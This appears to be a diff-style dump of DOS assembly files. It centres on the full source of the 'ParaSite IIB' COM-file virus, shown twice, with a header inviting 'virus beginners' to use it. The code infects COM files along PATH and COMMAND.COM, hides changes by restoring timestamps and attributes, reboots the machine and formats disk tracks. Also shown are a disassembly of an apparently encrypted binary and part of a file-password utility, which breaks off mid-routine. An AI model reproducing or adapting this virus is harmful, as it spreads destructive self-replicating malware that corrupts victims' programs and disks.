CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE
@@ -0,0 +1,418 @@
;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE
+227
View File
@@ -0,0 +1,227 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ PART ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 10-Aug-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: J ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_11e equ 0F42h ;*
data_13e equ 2F42h ;*
data_14e equ 3F42h ;*
data_15e equ 65C4h ;*
data_16e equ 7090h ;*
data_17e equ 75C4h ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
part proc far
start:
esc 5,dh ; coprocessor escape
db 0D6h, 2Fh, 12h, 24h, 01h, 49h
db 44h, 7Eh, 2Eh, 82h, 01h,0F1h
db 0F9h, 90h,0DCh,0C3h, 21h, 74h
db 0EAh, 42h,0EDh, 72h, 81h, 7Bh
db 0B5h,0E4h, 6Eh, 71h, 64h, 4Ah
db 19h,0B6h,0CAh, 28h,0E0h, 17h
db 0C6h,0B5h, 33h, 36h, 09h,0C2h
db 0A3h,0A1h, 21h, 9Eh, 30h, 74h
db 0C5h, 51h,0E1h, 91h, 24h, 99h
db 93h, 0Fh,0D0h, 0Dh, 0Ah, 69h
db 0FEh,0ACh, 27h, 10h,0C5h,0A5h
db 1Eh, 94h,0AEh, 1Bh,0DAh, 4Eh
db 49h, 58h, 2Fh, 1Dh, 65h,0E4h
db 74h,0F6h, 7Eh, 22h, 61h, 2Eh
db 0D2h,0FDh, 56h, 92h
db 2Eh
loc_1:
in ax,0F7h ; port 0F7h ??I/O Non-standard
lds cx,dword ptr [bp+di+75h] ; Load 32 bit ptr
mov [bp+si],es
sbb al,0DEh
sub bp,cx
out 0Eh,ax ; port 0Eh, DMA-1 clr mask reg
adc al,3Eh ; '>'
sub ax,73Eh
and [bx-39h],dh
pop bp
pop bx
mov dx,0D157h
and [bp+si],ax
inc sp
pop si
mov si,ax
;* pop cs ; Dangerous 8088 only
db 0Fh
pop cx
rcl byte ptr [bp+di+53h],cl ; Rotate thru carry
pop di
loop locloop_4 ; Loop if cx > 0
sub [bx-17h],ch
xor ax,398Ah
sal bh,1 ; Shift w/zeros fill
aaa ; Ascii adjust
or [bp+si+7AF0h],ch
loopnz $+36h ; Loop if zf=0, cx>0
xchg ax,bp
and al,0E4h
jl loc_1 ; Jump if <
call $-52ACh
xchg ax,cx
retn 10E7h
push di
int 3 ; Debug breakpoint
xchg ax,bp
sub dh,bh
inc cx
into ; Int 4 on overflow
aaa ; Ascii adjust
dec sp
db 6Ah
locloop_4:
push ss
jmp $+422Bh
;* call far ptr sub_1 ;*
db 9Ah, 53h, 67h,0FFh, 82h
db 68h,0E9h, 4Bh,0DCh, 76h,0CBh
db 0E7h, 4Ah,0E4h, 8Ah, 92h,0E2h
db 03h, 54h,0CCh, 85h
locloop_5:
xor ah,al
push cs
retn
db 6Eh, 5Bh, 7Fh, 01h,0E8h, 7Dh
db 0Fh, 86h, 52h, 56h,0F9h,0AEh
db 2Fh, 95h, 4Bh,0FDh, 77h,0E0h
db 0E8h, 69h,0ADh
db 0BBh, 85h, 97h, 02h, 7Ch,0CBh
db 0A8h, 39h,0DAh, 2Eh, 80h, 4Ah
db 74h, 8Ch, 4Ch, 85h, 6Dh, 42h
db 0FFh, 21h, 35h, 90h,0D0h, 48h
db 0A5h, 24h, 9Dh, 12h, 82h, 89h
db 0Dh,0C4h,0C5h,0E2h,0A7h, 71h
db 15h,0B8h,0CCh, 5Ch,0A7h
db 2Eh
loc_6:
nop
pop ss
or [bp+di],cl
inc sp
test bx,ds:data_11e[di]
and bp,ax
nop
and [bx+si+55h],cl
and al,6Dh ; 'm'
adc dh,[bp+si-77h]
std ; Set direction flag
les si,dword ptr [di] ; Load 32 bit ptr
;* loop locloop_12 ;*Loop if cx > 0
db 0E2h, 57h
jno loc_6 ; Jump if not overflw
mov ax,5C3Ch
push di
loc_8:
db 2Eh, 60h, 17h,0F8h, 0Bh,0B4h
db 85h, 8Dh, 42h, 1Fh, 21h,0D5h
db 90h, 30h, 48h, 45h, 24h, 7Dh
db 12h, 62h, 89h,0EDh,0C4h, 25h
db 0E2h, 47h, 71h,0F5h,0B8h
db 2Ch, 5Ch, 47h, 2Eh
loc_9:
jo loc_11 ; Jump if overflow=1
call $-5BF2h
test di,ds:data_13e[di]
and bp,sp
nop
add [bx+si+75h],cl
and al,4Dh ; 'M'
adc dl,[bp+si-77h]
esc 5,ah ; coprocessor escape
adc ax,77E2h
loc_11:
jno loc_8 ; Jump if not overflw
mov ax,5C1Ch
ja loc_13 ; Jump if above
inc ax
pop ss
esc 0,[bp+di] ; coprocessor escape
xchg ax,sp
test bp,ds:data_14e[di]
and bp,si
nop
adc [bx+si+65h],cl
and al,5Dh ; ']'
adc al,[bp+si-77h]
int 0C4h ; ??INT Non-standard interrupt
add ax,67E2h
;* jno loc_10 ;*Jump if not overflw
db 71h,0D5h
mov ax,5C0Ch
db 67h, 2Eh, 50h, 17h,0C8h, 0Bh
db 84h, 85h,0DDh, 42h, 4Fh, 21h
db 85h, 90h
db 60h, 48h
loc_13:
adc ax,2D24h
adc dh,[bp+si]
mov ds:data_17e[di],di
;* loop locloop_15 ;*Loop if cx > 0
db 0E2h, 17h
jno loc_9 ; Jump if not overflw
mov ax,5C7Ch
pop ss
and cs:[bx],dl
mov ax,0F40Bh
test cx,bp
inc dx
pop di
and ds:data_16e[di],dx
dec ax
add ax,3D24h
adc ah,[bp+si]
mov ds:data_15e[di],bp
loop $+9 ; Loop if cx > 0
;* jno locloop_12 ;*Jump if not overflw
db 71h,0B5h
mov ax,5C6Ch
pop es
xor cs:[bx],dl
test al,8Bh
in ax,84h ; port 84h ??I/O Non-standard
std ; Set direction flag
inc si
db 61h, 30h, 55h, 81h, 40h, 48h
db 35h,0DAh,0E2h, 12h, 12h, 89h
db 9Dh,0C5h,0A4h,0E7h, 39h,0A0h
db 62h,0B7h,0ACh, 5Ch, 37h, 27h
db 0F4h, 15h, 98h, 0Bh,0D4h, 85h
db 0EDh, 42h, 7Fh, 21h,0B5h, 90h
db 50h, 48h, 25h, 24h, 1Dh, 12h
db 02h, 89h, 8Dh,0C4h, 45h,0E2h
db 27h, 71h, 95h,0B8h, 4Ch, 5Ch
db 27h, 2Eh, 10h, 17h, 88h, 5Eh
db 6Eh, 00h
part endp
seg_a ends
end start
@@ -0,0 +1,401 @@
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Black Wolf's File Protection Utilities 2.1s
;
;PassCOM - This program password protects the specified file by attaching
; code from PW_COM onto the file so that it will check for passwords
; each execution. It utilizes ULTIMUTE .93á to protect then PW_COM
; code from easy manipulation.
;
;LISCENSE:
; Released As Freeware - These files may be distributed freely.
;
;Any modifications made to this program should be listed below the solid line,
;along with the name of the programmer and the date the file was changed.
;Also - they should be commented where changed.
;
;NOTE THAT MODIFICATION PRIVILEDGES APPLY ONLY TO THIS VERSION (2.1s)!
;I'd appreciate notification of any modifications if at all possible,
;reach me through the address listed in the documentation file (bwfpu21s.doc).
;
;DISCLAIMER: The author takes ABSOLUTELY NO RESPONSIBILITY for any damages
;resulting from the use/misuse of this program/file. The user agrees to hold
;the author harmless for any consequences that may occur directly or
;indirectly from the use of this program by utilizing this program/file
;in any manner.
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Modifications:
; None as of 08/05/93 - Initial Release.
.model tiny
.radix 16
.code
org 100
extrn _ULTMUTE:near, _END_ULTMUTE:byte
start:
call GetFilename
call Get_Passes
call EncryptGP
call Do_File
mov ax,4c00
int 21
;---------------------------------------------------------------------------
GetFilename:
mov ah,09
mov dx,offset Message
int 21
mov dx,offset Filename_Data
mov al,60
call gets
ret
;---------------------------------------------------------------------------
Get_Passes:
Clear_Out_Passes:
mov di,offset Entered_Pass
mov cx,0ch ;Clear out entered pass.
xor ax,ax
repnz stosb
mov di,offset Password
mov cx,0ch ;Clear out entered pass.
xor ax,ax
repnz stosb
mov ah,09
mov dx,offset Req_Pass
int 21
mov di,offset Entered_Pass
mov cx,0ch
call GetPass
mov ah,09
mov dx, offset Dup_Pass
int 21
mov di,offset Password
mov cx,0ch
call GetPass
call Check_Passwords
jc Get_Passes
mov di,offset Entered_Pass
mov cx,0dh ;Clear out entered pass.
xor ax,ax
repnz stosb
Randomize_Keys:
push ds
xor ax,ax
mov ds,ax
mov ax,word ptr ds:[46c] ;Randomizes encryption
pop ds
mov word ptr [Key1],ax
xor ax,1f3eh
ror ax,1
mov word ptr [Key2],ax
Encrypt_Password: ;This algorithm needs extra work...
mov bx,word ptr [Key1]
mov dx,word ptr [Key2] ;Encrypt the password
mov si,offset Password
mov di,si
mov cx,6
EncryptIt:
lodsw
xor ax,bx
add bx,dx
stosw
loop EncryptIt
ret
;---------------------------------------------------------------------------
Message:
db 'PassCOM 2.0 (c) 1993 Black Wolf Enterprises.',0a,0dh
db 'Enter Filename To Protect -> $'
;---------------------------------------------------------------------------
Req_Pass db 0a,0dh,'Now Enter Password (up to 12 chars): $'
Dup_Pass db 0a,0dh,'Re-Enter Password: $'
Passes_Not db 0a,0dh,'Passwords do not match. Try again.',0a,0dh,24
;---------------------------------------------------------------------------
Check_Passwords:
mov si,offset Entered_Pass
mov di,offset Password
mov cx,0c
repz cmpsb
jcxz Password_Good
stc
ret
Password_Good:
clc
ret
;---------------------------------------------------------------------------
gets: ;get string
mov ah,0a
push bx
mov bx,dx
mov byte ptr ds:[bx],al
mov byte ptr ds:[bx+1],0
pop bx
int 21
push bx
mov bx,dx
mov al,byte ptr ds:[bx+1]
xor ah,ah
add bx,ax
mov byte ptr ds:[bx+2],0
pop bx
ret
;---------------------------------------------------------------------------
GetPass:
KeyHit_Loop: ;Load in password
push cx
sub ax,ax
int 16
cmp al,0dh
je HitReturn
stosb
pop cx
loop KeyHit_Loop
ret
HitReturn:
pop cx
xor al,al
repnz stosb
ret
;---------------------------------------------------------------------------
Time dw 0
Date dw 0
GetTime:
mov ax,5700 ;Get file date/time from handle BX
int 21
mov word ptr cs:[Time],cx
mov word ptr cs:[Date],dx
ret
SetTime: ;Set file date/time for handle BX
mov ax,5701
mov cx,word ptr cs:[Time]
mov dx,word ptr cs:[Date]
int 21
ret
Do_File:
mov ax,3d02
mov dx,offset Filename
int 21 ;Open file read/write
jc Terminate
xchg bx,ax
call GetTime ;Get file date/time
call BackupFile ;make a copy....
mov ah,3f
mov cx,4
mov dx,offset Storage_Bytes ;Read in first four bytes for jump
int 21
mov ax,4202
xor cx,cx
xor dx,dx ;go to the end of the file
int 21
sub ax,3
mov word ptr [JumpBytes+1],ax ;Save Jump size
push bx
mov si,offset begin_password ;On Entry -> CS=DS=ES
mov di,offset _END_ULTMUTE ;SI=Source, DI=Destination
mov bx,ax ;BX=Next Entry Point
add bx,103
mov cx,end_password-begin_password+1 ;CX=Size to Encrypt
mov ax,1 ;AX=Calling Style
call _ULTMUTE ;Encrypt Code
;On Return -> CX=New Size
pop bx
mov dx,offset _END_ULTMUTE
mov ah,40 ;Write encrypted code and
int 21 ;decryptor to end of file
mov ax,4200
xor dx,dx ;Go back to beginning of file
xor cx,cx
int 21
mov ah,40
mov cx,4
